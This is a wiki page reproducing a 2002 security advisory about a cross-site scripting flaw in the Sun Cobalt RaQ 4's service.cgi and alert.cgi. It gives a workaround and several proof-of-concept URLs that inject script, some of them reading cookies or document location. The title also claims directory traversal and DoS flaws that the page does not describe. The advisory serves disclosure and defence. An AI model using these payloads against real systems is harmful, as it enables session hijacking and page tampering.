Pwnwiki: Created page with "==INFO==

 ------oOo---------------- Cobalt RAQ 4 Server Management, Cross Site Scripting , Directory Traversal & DoS Vulnerabilities. ------oOo----------------   Company..."

2021-03-31T07:14:58Z

Created page with "==INFO== <pre> ------oOo---------------- Cobalt RAQ 4 Server Management, Cross Site Scripting , Directory Traversal & DoS Vulnerabilities. ------oOo---------------- Company..."

New page

==INFO==
<pre>
------oOo----------------
Cobalt RAQ 4 Server Management,
Cross Site Scripting , Directory Traversal & DoS Vulnerabilities.
------oOo----------------

Company Affected: www.cobalt.com & www.sun.com
Version: RAQ 4 Server Management.
Dowload: http://www.cobalt.com/products/raq/index.html
OS Affected: Linux ALL, Solaris ALL.

Author:

** Alex Hernandez <al3xhernandez@ureach.com>
** Thanks all the people from Spain and Argentina.
** Special Greets: White-B, Pablo S0r, Paco Spain, G.Maggiotti.

----=[Brief Description]=------------

The Sun Cobalt RaQ is a server appliance for Internet Service Providers
(ISPs).
It can host up to 200 individual websites or it can be dedicated to a
single medium or large customer. This versatility opens up tremendous
opportunity for service provider to invest in a single piece of hardware
while migrating business customers up to dedicated servers.

Cobalt's service.cgi incorrectly handles the incoming search parses,
incoming HTML tags or JavaScript will be included inside the result without
them being filtered out for dangerous content. A similar problem occurs with
the x.cgi's inclusion of malicious code inside the resulting title search.

The cgi^s files is an open source .A security vulnerability in the
product allows attackers to insert malicious content into existing web pages by
exploiting the Cross-Site Scripting Vulnerability.

Affected Files Cgi^s

alert.cgi
service.cgi

Workaround:
1) Delete service.cgi from the system, or disable its possible
execution.
2) Delete alert.cgi from the system, or disable its possible execution

EXAMPLES:

http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=<h1>Hello!</h1><script>alert('hello')</script>
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=<script>alert('Microsoft%20hole')</script>
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=<img%20src=javascript:alert(document.domain)>
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=<script>alert(document.cookie)</script>

LOCATION:
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=%3Cscript%3Ealert(document.location)%3C/script%3E

COOKIES:
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=%3Cscript%3Ealert(document.cookie)%3C/script%3E

TAG IMAGES:
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=<img%20src=javascript:alert(document.domain)>

WRITE ON DOCUMENT:
http://10.0.0.1:81/cgi-bin/.cobalt/alert/service.cgi?service=<SCRIPT>document.write(document.domain)</SCRIPT>

Vendor Response:
The vendor was notified

Posted List^s Security cobalt:
cobalt-security@list.cobalt.com &
jlovell@sun.com

http://www.cobalt.com
Patch Temporary:
Delete files cgi^s from the system, or disable its
possible execution.

Alex Hernandez <al3xhernandez@ureach.com> (c) 2002.

------oOo------------------------------------
</pre>

CVE-2002-0346 Cobalt RAQ 4 Server XSS任意腳本執行漏洞 - Revision history

Pwnwiki: Created page with "==INFO==
------oOo---------------- Cobalt RAQ 4 Server Management, Cross Site Scripting , Directory Traversal & DoS Vulnerabilities. ------oOo---------------- Company..."